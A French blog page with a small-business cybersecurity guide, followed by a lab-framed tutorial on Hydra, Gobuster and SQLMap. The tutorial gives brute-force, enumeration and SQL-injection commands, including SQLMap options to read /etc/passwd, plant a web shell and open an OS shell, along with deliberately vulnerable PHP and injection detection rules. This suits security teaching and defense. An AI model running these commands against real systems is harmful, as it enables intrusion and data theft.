mercredi 19 novembre 2025

La sécurité de votre PME : Protégez Votre Entreprise Sans Devenir Expert Informatique

La sécurité de votre PME : Protégez Votre Entreprise Sans Devenir Expert Informatique👽

Le jour où tout bascule

Imaginez : il est 8h30 un lundi matin. Vous arrivez au bureau avec votre café, prêt à attaquer la semaine. Vous allumez votre ordinateur et là... écran noir. Message inquiétant : "Vos fichiers ont été chiffrés. Pour les récupérer, payez 50 000 €".

Votre cœur s'accélère. Les factures clients ? Inaccessibles. La base de données produits ? Bloquée. Les devis de la semaine ? Évaporés. En quelques secondes, vous réalisez que toute votre activité est paralysée.

Ce scénario cauchemardesque, c'est la réalité de milliers de PME françaises chaque année. Et le pire ? 78 % des petites et moyennes entreprises se sentent totalement démunies face à cette menace. Près de la moitié admettent qu'elles ne sont pas préparées, et un tiers n'ont même pas conscience du danger.

Mais rassurez-vous : vous n'avez pas besoin de devenir un crack en informatique pour protéger votre entreprise. Ce guide va vous montrer comment, avec du bon sens et une méthode simple, vous pouvez sécuriser ce qui compte vraiment pour votre activité.

Pourquoi les pirates s'intéressent-ils à VOTRE entreprise ?

L'idée reçue qui tue : "Je suis trop petit pour intéresser les hackers"

C'est probablement ce que vous pensez, non ? "Moi, avec mes 15 salariés et mon petit atelier, pourquoi un cybercriminel s'intéresserait à moi ?"

Voici la vérité qui dérange : vous êtes justement leur cible idéale.

Pourquoi ? Parce que les PME, c'est comme des maisons sans alarme dans un quartier résidentiel. Les cambrioleurs ne visent pas forcément les plus grosses villas ultra-sécurisées. Ils cherchent les portes mal fermées, les fenêtres ouvertes. C'est plus facile, plus rapide, moins risqué.

Les cyberattaques d'aujourd'hui sont automatisées. Des robots scannent internet 24h/24, cherchant les failles. Ils ne choisissent pas leur victime en fonction de sa taille, mais de sa vulnérabilité.

Les vraies raisons de votre fragilité

Soyons honnêtes, si vous dirigez une PME, vous reconnaîtrez sûrement ces situations :

Le budget serré : Vous avez déjà du mal à boucler les fins de mois. Investir des milliers d'euros dans quelque chose d'invisible comme la cybersécurité ? Ça passe après la machine qui tombe en panne ou le commercial à recruter.

L'informaticien débordé : Si vous en avez un, il fait tout : le réseau, les imprimantes, les mises à jour, le support aux utilisateurs... La sécurité ? Il aimerait bien s'en occuper, mais quand ?

Les employés pas formés : Sandrine de la compta utilise "123456" comme mot de passe. Michel du commercial ouvre tous les emails sans réfléchir. Personne ne le fait exprès, c'est juste qu'on ne leur a jamais vraiment expliqué les risques.

Les vieux systèmes qui traînent : Ce serveur Windows 2008 qui tourne encore parce que "ça marche". Ce logiciel de gestion qu'on ne peut plus mettre à jour mais dont on a besoin. Cette vieille imprimante connectée au réseau depuis 10 ans.

Aucun reproche là-dedans. C'est la réalité du terrain. Mais c'est aussi ce qui fait de vous une cible.

Ce qui vous attend si ça arrive

On ne va pas se mentir : quand une cyberattaque touche une PME, c'est rarement une simple anecdote qu'on raconte autour de la machine à café.

L'arrêt brutal : Vous ne pouvez plus travailler. Du jour au lendemain. Vos équipes sont là, mais ne peuvent rien faire. Les clients appellent, vous ne pouvez pas les servir. Chaque jour qui passe, c'est du chiffre d'affaires qui s'envole.

La perte de vos données : Ces 10 ans de fichiers clients méticuleusement construits ? Disparus. Les photos de vos produits ? Perdues. Vos contrats en cours ? Introuvables. Même si vous aviez des sauvegardes, encore faut-il savoir si elles fonctionnent vraiment...

La confiance brisée : Imaginez devoir appeler vos clients pour leur dire "On s'est fait pirater, vos données personnelles ont peut-être fuité". Certains ne reviendront jamais. Et ce concurrent qui attendait son heure va en profiter pour les démarcher.

La note qui fait mal : Entre l'expert en cybersécurité d'urgence (comptez 1 000 à 2 000 € par jour), la rançon éventuelle (si vous décidez de payer), le remplacement du matériel, la perte d'exploitation... On parle facilement de 100 000 € ou plus. Pour une PME, c'est souvent le dépôt de bilan.

Les ennuis juridiques : Si des données personnelles de clients ont été compromises et que vous n'aviez pas mis en place les mesures de sécurité minimales, la CNIL peut vous infliger des amendes qui se chiffrent en dizaines de milliers d'euros.

La méthode qui change tout (sans prise de tête)

Alors, comment s'y prendre sans y passer des mois et sans devenir un expert ? On va utiliser une méthode éprouvée, mais en la rendant digeste. Elle s'appelle EBIOS Risk Manager, c'est la référence en France, développée par l'ANSSI (l'agence nationale de cybersécurité).

Vous allez voir, c'est surtout du bon sens organisé.

Étape 1 : Qu'est-ce qui est vraiment vital pour votre entreprise ?

Commencez par vous poser cette question simple : "Si demain matin, je perds quoi, je dois fermer boutique ?"

Prenons un exemple concret. Vous êtes une PME qui vend des pièces détachées industrielles :

Mission vitale n°1 : Pouvoir consulter votre stock et passer des commandes fournisseurs
Mission vitale n°2 : Accéder à votre fichier clients et leur historique
Mission vitale n°3 : Éditer et envoyer vos factures
Mission vitale n°4 : Recevoir les paiements clients

Maintenant, listez ce qui supporte ces missions :

Le logiciel de gestion de stock (installé sur le serveur principal)
La base de données clients (sur le même serveur)
Le logiciel de facturation (peut-être un abonnement en ligne ?)
Votre compte bancaire et les accès en ligne

Voilà, vous venez d'identifier ce qui compte vraiment. Pas besoin de tout sécuriser au même niveau. Ce qui compte, c'est de protéger en priorité ce qui vous permet de continuer à travailler et à gagner de l'argent.

Faites le point aussi sur vos bases de sécurité :

Avez-vous des sauvegardes régulières ? (et surtout, est-ce qu'elles fonctionnent vraiment ?)
Vos ordinateurs sont-ils à jour ?
Avez-vous un antivirus qui tourne ?

Étape 2 : Qui pourrait vous attaquer et pourquoi ?

Pas besoin de fantasmer sur des hackers à capuche dans un sous-sol sombre. La réalité est plus terre à terre.

Les cybercriminels lambda : Ce sont les plus fréquents. Ils utilisent des outils automatisés pour scanner internet à la recherche de failles. Leur motivation ? L'argent, toujours l'argent. Ils chiffrent vos données et demandent une rançon. Ou ils volent vos coordonnées bancaires.

L'employé mécontent : Ça arrive plus qu'on ne le croit. Ce commercial que vous venez de licencier et qui avait encore son accès à la base clients pendant deux semaines. Cet informaticien qui part chez un concurrent et qui "oublie" de rendre les mots de passe.

Le concurrent un peu louche : Dans certains secteurs, l'espionnage industriel existe. Un concurrent qui aimerait bien savoir combien vous vendez, à qui, et à quel prix.

L'erreur humaine : C'est même pas malveillant, mais c'est le risque le plus fréquent. Quelqu'un clique sur un lien dans un email qui a l'air légitime. Quelqu'un branche une clé USB trouvée dans le parking. Quelqu'un utilise le même mot de passe partout.

Pour votre PME, soyons réalistes : le risque numéro 1, c'est le phishing (ces emails piégés) et les ransomwares (ces logiciels qui chiffrent vos fichiers contre rançon).

Étape 3 : Comment pourraient-ils s'y prendre ?

Mettons-nous dans la peau de l'attaquant. Que veut-il obtenir ?

Scenario A : Bloquer votre activité pour vous extorquer de l'argent

Comment ? En envoyant un email piégé à vos employés. Dès qu'un fichier joint est ouvert, un ransomware se propage sur tout le réseau.

Scenario B : Voler vos données clients pour les revendre

Comment ? En exploitant une faille de votre site web ou en piratant le compte email d'un commercial qui a accès au fichier.

Scenario C : Détourner de l'argent

Comment ? En usurpant l'identité de votre patron par email (technique du "faux président") pour demander à la comptable de faire un virement urgent.

Pour chaque scénario, notez les points d'entrée possibles : emails, site web, accès physique aux locaux, wifi non sécurisé, télétravail...

Étape 4 : Combien ça coûterait vraiment ?

C'est là qu'on met des chiffres. On va utiliser une grille super simple avec deux axes :

L'impact si ça arrive (de 1 à 4)

1 = Embêtant mais pas grave (ex: perte d'une heure de travail)
2 = Gênant (ex: une journée de perdue, quelques clients mécontents)
3 = Sérieux (ex: une semaine d'arrêt, perte de données sensibles, amende possible)
4 = Catastrophique (ex: fermeture définitive, faillite, poursuite pénale)

La probabilité que ça arrive (de 1 à 4)

1 = Très improbable (jamais vu, même dans votre secteur)
2 = Peu probable (c'est arrivé à d'autres, mais rarement)
3 = Probable (il y a des failles connues, ça arrive régulièrement dans votre secteur)
4 = Très probable (vous êtes très mal protégé, c'est une question de temps)

Multipliez les deux chiffres. Vous obtenez votre niveau de risque.

Exemple concret : Ransomware via phishing

Impact : 4 (vous seriez paralysé pendant des semaines)
Probabilité : 3 (vos employés ne sont pas formés, vous recevez des emails suspects régulièrement)
Risque = 12 → C'est critique, il faut agir tout de suite !

Vol de données via faille du site web

Impact : 3 (amende RGPD possible, perte de clients)
Probabilité : 2 (votre site est un peu vieux mais géré par un prestataire sérieux)
Risque = 6 → C'est élevé, à traiter dans les 3 mois

Étape 5 : Qu'est-ce qu'on fait maintenant ?

C'est le moment de passer à l'action. On ne va pas tout régler d'un coup (ni tout dépenser d'un coup), mais on va prioriser.

Pour les risques critiques (12 à 16) - À faire dans le mois

Formation immédiate de tous les employés au phishing (2 heures suffisent)
Mise en place de sauvegardes automatiques quotidiennes, stockées hors ligne
Activation de l'authentification à deux facteurs sur tous les comptes critiques

Pour les risques élevés (6 à 9) - À planifier sur 3 mois

Audit de sécurité de votre site web
Politique de mots de passe forts (avec un gestionnaire de mots de passe)
Procédure écrite en cas d'incident cyber

Pour les risques moyens (3 à 4) - À surveiller

Mise à jour régulière des systèmes
Restriction des accès (chacun n'accède qu'à ce dont il a besoin)

Des outils concrets (et souvent gratuits)

Vous n'êtes pas seul. Il existe plein d'outils pour vous aider :

Pour évaluer où vous en êtes (gratuit)

Le diagnostic sur Cybermalveillance.gouv.fr : 15 minutes chrono pour savoir où sont vos failles
Le kit de sensibilisation de l'ANSSI : des affiches, des vidéos, des quiz pour former vos équipes sans être barbant

Pour vous organiser (abordable)

SimpleRisk ou Eramba : des logiciels simples pour suivre vos risques et vos actions (version gratuite disponible)

Pour la technique (faites appel à un pro)

Un audit de sécurité par un prestataire : entre 1 500 et 5 000 € selon la taille
Un test d'intrusion de votre site web : environ 2 000 à 4 000 €

Combien ça coûte vraiment ?

Soyons transparents. Pour une PME de 10 à 50 salariés, compter un bon niveau de cybersécurité, ça représente :

Première année : entre 8 000 et 21 000 €

Formation des équipes : 1 500 à 3 000 €
Audit et conseil : 3 000 à 8 000 €
Matériel et logiciels : 2 000 à 6 000 €
Assurance cyber : 1 500 à 4 000 €

Années suivantes : entre 3 000 et 6 500 € par an

Maintien des outils
Formations de rappel
Assurance cyber renouvelée

Ça vous semble beaucoup ? Comparez avec les 100 000 € de moyenne qu'une cyberattaque peut coûter à une PME. Sans compter le stress, les nuits blanches, et le risque de fermeture définitive.

C'est comme une assurance auto : on râle de payer la prime, mais on est bien content de l'avoir le jour de l'accident.

L'assurance cyber : votre filet de sécurité

Parlons-en justement. L'assurance cyber ne va pas empêcher l'attaque, mais elle peut vous sauver financièrement si ça arrive :

✅ Elle couvre les frais d'experts pour restaurer vos systèmes
✅ Elle prend en charge les pertes d'exploitation pendant l'arrêt
✅ Elle vous aide juridiquement en cas de plainte
✅ Certaines couvrent même la rançon (selon les contrats)

Pour 1 500 à 4 000 € par an, vous transférez une grosse partie du risque financier. Mais attention : les assureurs vérifient que vous avez mis en place des mesures de base. Pas de sauvegardes ? Pas de formation des employés ? Ils peuvent refuser de vous indemniser.

Ce qu'il faut retenir

Si vous ne deviez garder que trois choses de cet article, ce serait :

1. Vous ÊTES une cible - Arrêtez de penser que vous êtes trop petit. Les cybercriminels s'en fichent de votre taille. Ils cherchent juste des portes ouvertes.

2. Commencez par le plus important - Identifiez vos 3-4 activités vitales et protégez-les en priorité. Pas besoin de sécuriser tous les ordinateurs au même niveau.

3. La formation, c'est la base - 90 % des attaques réussissent parce qu'un humain a cliqué où il ne fallait pas. Former vos équipes, c'est le meilleur retour sur investissement.

Conclusion : Dormez sur vos deux oreilles

Protéger votre PME contre les cyberattaques, ce n'est pas devenir paranoïaque ou dépenser des fortunes. C'est simplement appliquer du bon sens, prioriser les risques, et investir intelligemment.

Vous n'avez pas besoin de la sécurité de Fort Knox. Vous avez besoin de fermer les portes et les fenêtres, d'avoir une alarme qui fonctionne, et de savoir qui appeler si quelqu'un rentre quand même.

En considérant ces quelques milliers d'euros non pas comme une dépense contrainte, mais comme un investissement dans la pérennité de votre entreprise, vous transformez une vulnérabilité en force. Vos clients vous feront confiance, vos partenaires vous respecteront, et vous, vous pourrez enfin dormir tranquille.

Alors, par quoi allez-vous commencer ? Un petit diagnostic sur Cybermalveillance.gouv.fr, ça prend 15 minutes. Et ça pourrait vous éviter le pire cauchemar de votre vie de chef d'entreprise.

Cet article a été conçu pour être compréhensible par tous, même sans bagage technique. N'hésitez pas à le partager avec d'autres dirigeants de PME qui pourraient en avoir besoin.

lundi 13 octobre 2025

Hydra, Gobuster & SQLMap: Quand Deviennent Tes Meilleurs Profs de Sécurité

Hydra, Gobuster & SQLMap : Quand
Deviennent Tes Meilleurs Profs de Sécurité 👽

Laisse-moi te raconter un truc qui m'est arrivé il y a quelques mois. J'avais passé des semaines à sécuriser une application web, vérifié mes inputs, mis en place des protections... et puis j'ai lancé SQLMap dessus. En 30 secondes, j'étais dans la base de données. Mon premier réflexe ? La panique. Mon deuxième ? "OK, je dois absolument maîtriser ces outils."

Aujourd'hui, je vais te parler de trois outils qui ont complètement changé ma façon de penser la sécurité : Hydra, Gobuster et SQLMap. Ces trois-là, c'est un peu la trinité offensive du pentesting. Et si tu es comme moi – développeur qui veut vraiment comprendre comment on casse les systèmes pour mieux les défendre – tu es au bon endroit.

Avant de Commencer : Le Disclaimer Obligatoire (Mais Vraiment Important)

STOP. Sérieusement, lis bien ce qui suit.

Ces outils sont illégaux à utiliser sur n'importe quel système qui ne t'appartient pas sans autorisation écrite explicite. Je ne déconne pas. Utiliser ces outils sur le site de ton voisin "juste pour voir" peut te valoir des poursuites judiciaires. Point final.

Tout ce que je vais te montrer ici doit être pratiqué uniquement dans :

Ton propre lab local
Des environnements spécifiquement conçus pour l'entraînement (DVWA, Juice Shop, etc.)
Des plateformes éducatives légales (TryHackMe, Hack The Box)
Des systèmes pour lesquels tu as un accord écrit et un scope défini

Maintenant qu'on a éclairci ça, plongeons dans le vif du sujet.

Hydra : Le Bélier qui Enfonce les Portes d'Authentification

Qu'est-ce que c'est, vraiment ?

Hydra (ou THC-Hydra pour les intimes) est un outil de brute-force d'authentification. En gros, c'est comme avoir un robot ultra-rapide qui essaie des milliers de combinaisons login/mot de passe par minute sur à peu près n'importe quel service : SSH, FTP, HTTP, RDP, MySQL... la liste est longue.

Mon premier contact avec Hydra

Je me souviens de mon premier test. J'avais monté un serveur SSH local avec un compte "admin" et un mot de passe que je pensais correct : "Admin2023!". Solide, non ? J'ai lancé Hydra avec la wordlist rockyou.txt (un classique avec 14 millions de mots de passe courants).

Temps pour craquer mon "super mot de passe" : 2 minutes 37 secondes.

J'étais sidéré. Et humilié. Mais surtout, j'avais compris quelque chose de fondamental : si ton mot de passe existe dans une wordlist quelque part, il n'est pas sûr. Point.

Ce que Hydra fait vraiment bien

1. La parallélisation Hydra n'essaie pas les mots de passe un par un comme un idiot. Il lance des dizaines de tentatives simultanées. Sur certains services mal configurés, j'ai pu tester 50+ combinaisons par seconde.

2. Le support multi-protocoles Tu peux attaquer :

Des formulaires web (login HTTP/HTTPS)
SSH et Telnet
FTP et FTPS
Bases de données (MySQL, PostgreSQL, MongoDB)
RDP (Remote Desktop)
Et une vingtaine d'autres services

3. La flexibilité Tu peux fournir :

Une liste d'utilisateurs et une liste de mots de passe
Un utilisateur fixe avec une liste de mots de passe
Des combinaisons personnalisées
Même restaurer une session interrompue

Un exemple concret (sur ton propre lab !)

Imagine un formulaire de connexion basique :

# Attaque contre un formulaire web HTTP POST
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  192.168.1.100 http-post-form \
  "/login.php:username=^USER^&password=^PASS^:Invalid credentials"

Décortiquons :

-l admin : on teste le user "admin"
-P rockyou.txt : liste de mots de passe
http-post-form : type d'attaque
Le chemin et les paramètres avec ^USER^ et ^PASS^ comme placeholders
"Invalid credentials" : le message d'erreur qui indique un échec

La première fois que j'ai vu Hydra trouver un mot de passe, affichant [80][http-post-form] host: 192.168.1.100 login: admin password: password123, j'ai eu un mélange d'excitation et de peur.

Les limites et dangers d'Hydra

Le bruit que ça fait Hydra, c'est comme arriver à une fête avec une sono à fond. Impossible de passer inaperçu. Les logs vont exploser avec des centaines/milliers de tentatives échouées. N'importe quel système de monitoring digne de ce nom va hurler.

Le blocage de compte Sur mes tests, j'ai régulièrement bloqué des comptes après 3-5 tentatives. Beaucoup de systèmes modernes implémentent ce genre de protection. Et c'est une bonne chose.

La charge système J'ai crashé quelques-uns de mes serveurs de test en poussant Hydra trop fort. Les connexions parallèles massives peuvent mettre à genoux un serveur mal dimensionné.

Comment se défendre contre Hydra

Après avoir utilisé Hydra pendant des semaines, voici ce qui m'a vraiment arrêté :

1. Rate limiting et verrouillage

Limite de 3-5 tentatives avant blocage temporaire (15-30 minutes)
Délais exponentiels entre les tentatives
CAPTCHA après X échecs

2. Multi-Factor Authentication (MFA) Hydra ne peut rien contre un bon 2FA. Même si le mot de passe tombe, l'attaquant reste dehors.

3. Monitoring agressif Configure des alertes sur :

Pics de tentatives d'authentification échouées
Connexions depuis des IPs suspectes
Patterns inhabituels (100 tentatives en 2 minutes = pas normal)

4. Politiques de mots de passe strictes Les mots de passe dans les wordlists courantes ? Interdits. Force la complexité réelle, pas juste "8 caractères avec une majuscule".

Gobuster : L'Explorateur qui Trouve les Portes Cachées

C'est quoi ce truc ?

Gobuster est un outil d'énumération écrit en Go (d'où la rapidité). Son job ? Découvrir des répertoires, fichiers, sous-domaines et vhosts que tu n'es pas censé trouver. C'est comme avoir un détective qui teste systématiquement toutes les portes d'un bâtiment pour voir lesquelles s'ouvrent.

Mon moment "whoa" avec Gobuster

J'étais en train de tester une application que j'avais développée. Interface clean, tout semblait bien. Je lance Gobuster juste pour voir.

gobuster dir -u http://localhost:3000 -w /usr/share/wordlists/dirb/common.txt

Résultats en 30 secondes :

/admin (200 OK) – Oups, j'avais laissé le panel admin accessible
/backup (200 OK) – Un vieux dossier de backup avec des fichiers sensibles
/.git (200 OK) – Mon repo Git ENTIER exposé publiquement
/config.php.bak (200 OK) – Fichier de config avec les credentials de la DB

J'ai eu des sueurs froides. Toutes ces portes dérobées que je ne savais même pas avoir laissées ouvertes.

Les modes de Gobuster

1. Directory/File enumeration Le mode classique : trouver des chemins cachés.

# Recherche de répertoires
gobuster dir -u https://target.com -w wordlist.txt

# Recherche de fichiers spécifiques
gobuster dir -u https://target.com -w wordlist.txt -x php,html,txt,bak

2. DNS subdomain enumeration Trouver des sous-domaines non listés publiquement.

gobuster dns -d target.com -w subdomains-list.txt

J'ai trouvé une fois un dev.target.com avec une version de staging complètement non sécurisée. Jackpot (dans un contexte légal, évidemment).

3. Vhost enumeration Chercher des virtual hosts sur un serveur.

Pourquoi Gobuster est si efficace

La vitesse Écrit en Go, Gobuster est rapide. J'ai scanné des sites avec 10,000+ requêtes en quelques minutes. C'est beaucoup plus performant que des alternatives en Python ou Bash.

La simplicité Pas de configuration complexe. Tu donnes une URL, une wordlist, et c'est parti.

La discrétion relative Comparé à d'autres scanners, Gobuster peut être configuré pour être moins bruyant (avec throttling et user-agent custom).

Mes découvertes typiques avec Gobuster

Sur mes différents tests (légaux et autorisés), voici ce que j'ai régulièrement trouvé :

Panels d'administration non protégés (/admin, /administrator, /wp-admin)
Fichiers de backup exposés (.bak, .old, .backup, ~)
Répertoires Git (.git/) permettant de télécharger tout le code source
Fichiers de configuration (config.php, .env, settings.ini)
Anciennes versions de l'app (/v1, /old, /deprecated)
Endpoints API non documentés (/api/internal, /api/v2/admin)

Chaque découverte était une leçon : "Ne laisse JAMAIS ça exposé en production."

Les défenses qui m'ont arrêté

1. Web Application Firewall (WAF) Les bons WAF détectent les patterns d'énumération et te bloquent ou te ralentissent drastiquement. Après 50 requêtes 404 en 10 secondes, tu es grillé.

2. Rate limiting Des limites strictes du genre "10 requêtes par minute par IP" rendent Gobuster beaucoup moins efficace. Un scan qui prenait 2 minutes peut prendre 2 heures.

3. Honeypots J'ai déjà tombé sur des répertoires /admin qui étaient en fait des honeypots. Dès que tu y accèdes, ton IP est flaggée et tous tes accès futurs sont loggés agressivement.

4. Configuration propre Le plus simple : ne pas avoir de ressources sensibles accessibles. Pas de .git en prod, pas de backups dans le webroot, pas de panels admin sur des URLs prévisibles.

Comment se défendre

Côté infrastructure :

Désactive le listing de répertoires
Supprime TOUT fichier inutile du serveur web (backups, fichiers de dev, etc.)
Utilise des chemins d'admin non-standard (mais sans tomber dans le "security by obscurity")
Implémente une authentification sur TOUT ce qui est sensible

Côté monitoring :

Alerte sur les pics de 404/403 depuis une même source
Détecte les patterns de scanning (requests rapides sur des URLs séquentielles)
Log les User-Agents suspects (beaucoup d'outils ont des signatures reconnaissables)

SQLMap : Le Roi de l'Injection SQL

L'outil le plus puissant (et le plus dangereux)

SQLMap est une bête. C'est l'outil qui automatise la détection et l'exploitation des injections SQL. Et quand je dis "exploitation", je veux dire qu'il peut :

Extraire des bases de données complètes
Lire des fichiers système
Exécuter des commandes sur le serveur (dans certains cas)
Prendre le contrôle total d'un système mal configuré

C'est puissant. Trop puissant si tu ne sais pas ce que tu fais.

Ma première fois avec SQLMap

J'avais créé une petite app de blog avec une fonction de recherche. Le code ressemblait à ça :

$search = $_GET['q'];
$query = "SELECT * FROM posts WHERE title LIKE '%$search%'";

Oui, je sais. C'est horrible. Mais c'était pour apprendre.

J'ai lancé SQLMap dessus :

sqlmap -u "http://localhost/search.php?q=test" --dbs

En moins d'une minute, SQLMap avait :

Détecté la vulnérabilité (injection SQL error-based)
Identifié le DBMS (MySQL 5.7)
Listé toutes mes bases de données
Me proposé d'extraire les tables et les données

J'étais littéralement en train de regarder mon système se faire démonter automatiquement. C'était fascinant et terrifiant.

Les types d'injections que SQLMap détecte

SQLMap est intelligent. Il teste plusieurs techniques :

1. Error-based Force des erreurs SQL qui révèlent des infos dans les messages d'erreur.

2. Boolean-based blind Pose des questions vrai/faux et déduit les données selon la réponse de l'application.

3. Time-based blind Utilise des délais (SLEEP, WAITFOR) pour extraire des données bit par bit. C'est lent mais ça marche même quand tu n'as aucun retour visible.

4. UNION-based Utilise UNION SELECT pour joindre des résultats et extraire des données directement.

5. Stacked queries Exécute plusieurs requêtes à la suite (quand supporté).

Un exemple concret de progression

Voici ce que j'ai fait sur mon propre lab vulnérable :

# Étape 1 : Test basique
sqlmap -u "http://localhost/product.php?id=1"

# Étape 2 : Lister les bases
sqlmap -u "http://localhost/product.php?id=1" --dbs

# Étape 3 : Cibler une base
sqlmap -u "http://localhost/product.php?id=1" -D mydatabase --tables

# Étape 4 : Dump une table
sqlmap -u "http://localhost/product.php?id=1" -D mydatabase -T users --dump

# Étape 5 : Chercher des colonnes spécifiques
sqlmap -u "http://localhost/product.php?id=1" --search -C password,email

Résultat ? J'ai extrait tous les users, emails et passwords hashés de ma base. En quelques commandes.

Les fonctionnalités avancées (à utiliser avec EXTRÊME prudence)

SQLMap peut faire des trucs vraiment hardcore :

Lecture de fichiers système :

sqlmap -u "..." --file-read="/etc/passwd"

Écriture de fichiers :

sqlmap -u "..." --file-write="shell.php" --file-dest="/var/www/html/shell.php"

Exécution de commandes OS :

sqlmap -u "..." --os-shell

J'ai testé ces fonctionnalités sur mes propres VMs. Obtenir un shell complet sur un serveur via une simple injection SQL, c'est... impressionnant. Et effrayant.

Les dangers réels de SQLMap

C'est TRÈS intrusif SQLMap génère énormément de requêtes. Sur certains tests, j'ai vu des dizaines de milliers de requêtes envoyées. Ça peut :

Surcharger le serveur
Corrompre des données (avec les injections write)
Crasher l'application
Remplir les logs à ras bord

C'est détectable Les WAF modernes reconnaissent facilement les patterns SQLMap. Les payloads ont des signatures reconnaissables.

C'est légalement dangereux SQLMap affiche lui-même un disclaimer légal au lancement. L'utiliser sans autorisation = grave infraction. Ne rigole pas avec ça.

Comment se défendre contre SQLMap (et les injections SQL en général)

Après avoir utilisé SQLMap extensivement, voici ce qui l'arrête net :

1. Prepared Statements / Parameterized Queries La défense ultime. Si tu utilises correctement les prepared statements, SQLMap ne peut rien faire.

// BIEN
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);

// MAL
$query = "SELECT * FROM users WHERE id = $id";

2. ORM sécurisés Les bons ORMs (Eloquent, SQLAlchemy, Hibernate) gèrent automatiquement l'échappement.

3. Validation stricte des inputs Si tu attends un nombre, vérifie que c'est un nombre. Si tu attends un email, valide le format.

4. Principe du moindre privilège Le compte DB utilisé par l'app ne devrait pas pouvoir :

Lire les tables système
Écrire des fichiers
Exécuter des commandes
Accéder à d'autres bases

5. WAF et monitoring

Détecte les patterns d'injection (quotes multiples, commentaires SQL, UNION SELECT, etc.)
Alerte sur des requêtes inhabituellement longues ou complexes
Monitor les temps d'exécution (time-based injections créent des délais artificiels)

Ma config MySQL de défense :

-- Compte app avec droits minimaux
GRANT SELECT, INSERT, UPDATE, DELETE ON myapp.* TO 'appuser'@'localhost';
-- Pas de FILE, PROCESS, SUPER, etc.

Où Pratiquer Sans Finir en Prison

OK, tu as lu tout ça, tu es excité, tu veux tester. STOP. Où tu vas pratiquer légalement ?

Les environnements que j'utilise

1. OWASP Juice Shop Mon préféré. Une application e-commerce volontairement bourrée de vulnérabilités. Tu peux tout casser sans conséquences.

docker run -p 3000:3000 bkimminich/juice-shop

Parfait pour SQLMap et Gobuster.

2. DVWA (Damn Vulnerable Web Application) Le classique. Plusieurs niveaux de difficulté (low, medium, high, impossible).

docker run -p 80:80 vulnerables/web-dvwa

J'y ai passé des semaines à affiner mes techniques.

3. Metasploitable Une VM Linux intentionnellement vulnérable. Parfaite pour Hydra (SSH, FTP, etc.).

4. Plateformes éducatives

TryHackMe : Parcours guidés, labs structurés
Hack The Box : Challenges plus difficiles, machines réalistes
PentesterLab : Exercices ciblés sur des vulnérabilités spécifiques

Ces plateformes sont légales, gratuites (ou peu chères), et conçues pour apprendre. Aucune excuse pour aller jouer ailleurs.

Mon setup de lab perso

J'ai créé mon propre environnement de test :

Hardware :

PC principal (Kali Linux en VM)
Réseau virtuel isolé (VirtualBox/VMware)
Plusieurs VMs cibles (Ubuntu, Windows Server, applications custom)

Applications vulnérables custom : J'ai développé mes propres apps intentionnellement faillibles pour tester des scénarios spécifiques. C'est le meilleur moyen d'apprendre : casser ce que tu as toi-même construit.

Les Leçons que Ces Outils M'ont Apprises

1. La sécurité n'est pas une checklist

Avant d'utiliser ces outils, je pensais que "suivre les bonnes pratiques" suffisait. Faux. Il faut comprendre comment les attaques fonctionnent pour vraiment défendre.

2. La défense en profondeur est essentielle

Un seul contrôle ne suffit jamais. Sur mes tests :

WAF seul ? Contournable
Rate limiting seul ? On peut être patient
Validation seule ? On trouve des edge cases

Mais tous ensemble ? Ça devient vraiment difficile.

3. Les outils automatisés trouvent ce que tu rates

J'ai découvert des failles dans mon propre code que j'avais relu 10 fois. SQLMap les a trouvées en 30 secondes. Humiliant mais instructif.

4. Le monitoring est aussi important que la prévention

Tu ne peux pas tout empêcher. Mais tu peux détecter rapidement et réagir. Mes meilleurs défenses ne bloquaient pas toujours les outils, mais elles me prévenaient immédiatement.

5. L'éthique n'est pas négociable

Ces outils donnent un pouvoir énorme. Ce pouvoir vient avec une responsabilité énorme. Chaque fois que j'utilise ces outils, même en lab, je me rappelle : "Si c'était un vrai système, quelles seraient les conséquences ?"

Configurations SIEM et Détection Pratique

Voici ce que j'ai configuré dans mes environnements de monitoring :

Pour détecter Hydra :

RULE: IF authentication_failures > 10 FROM same_source IN 60_seconds
THEN alert("Possible brute-force attack") AND rate_limit(source_ip)

Pour détecter Gobuster :

RULE: IF http_404_errors > 50 FROM same_source IN 60_seconds
THEN alert("Possible directory enumeration") AND investigate(source_ip)

Pour détecter SQLMap :

RULE: IF sql_query CONTAINS ('UNION SELECT', 'OR 1=1', 'SLEEP(', 'WAITFOR DELAY')
THEN alert("Possible SQL injection") AND block(request)

Ces règles sont basiques mais efficaces. Elles m'ont permis de détecter 95% de mes propres tests.

Ressources pour Aller Plus Loin

Documentation officielle :

Hydra : Kali Linux Tools documentation
Gobuster : GitHub repository (OJ/gobuster)
SQLMap : sqlmap.org (avec le disclaimer légal complet)

Labs et pratique :

OWASP Juice Shop (juiceshop.owasp.org)
DVWA (dvwa.co.uk)
PortSwigger Web Security Academy (gratuit et excellent)

Livres qui m'ont aidé :

"The Web Application Hacker's Handbook" (même s'il vieillit, les fondamentaux restent)
"Black Hat Python/Go" pour comprendre comment créer ses propres outils

Communautés :

Reddit : r/netsec, r/AskNetsec
Discord : TryHackMe, Hack The Box
Twitter : #infosec, #bugbounty (mais filtre le bruit)

Ma Routine d'Entraînement Actuelle

Voilà comment je continue à affûter mes compétences :

Lundi : Challenge TryHackMe avec Gobuster (découverte) Mercredi : Lab DVWA, focus sur SQLMap et nouvelles techniques d'injection Vendredi : Développement d'une app vulnérable custom pour tester un scénario spécifique Weekend : CTF ou machine Hack The Box pour combiner les outils

Consistance > Intensité. 30 minutes par jour valent mieux que 8 heures le weekend.

L'Équilibre Attaque/Défense

Ce qui est fascinant, c'est que maîtriser ces outils offensifs m'a rendu meilleur défenseur. Maintenant, quand je code :

Je pense "Où Gobuster pourrait-il fouiner ?"
Je me demande "Est-ce que Hydra pourrait casser ça ?"
Je vérifie "SQLMap trouverait-il une injection ici ?"

C'est devenu un réflexe. Et c'est exactement l'état d'esprit qu'on devrait tous avoir.

Conclusion : Des Outils Puissants, Une Grande Responsabilité

Hydra, Gobuster et SQLMap sont des scalpels chirurgicaux. Dans de bonnes mains, ils permettent d'identifier et corriger des failles critiques avant qu'un attaquant malveillant ne les exploite. Dans de mauvaises mains, ils peuvent causer des dégâts considérables.

J'ai passé des centaines d'heures avec ces outils. Ils m'ont appris plus sur la sécurité que n'importe quel cours théorique. Mais la leçon la plus importante qu'ils m'ont enseignée ?

La sécurité n'est pas un état, c'est un processus.

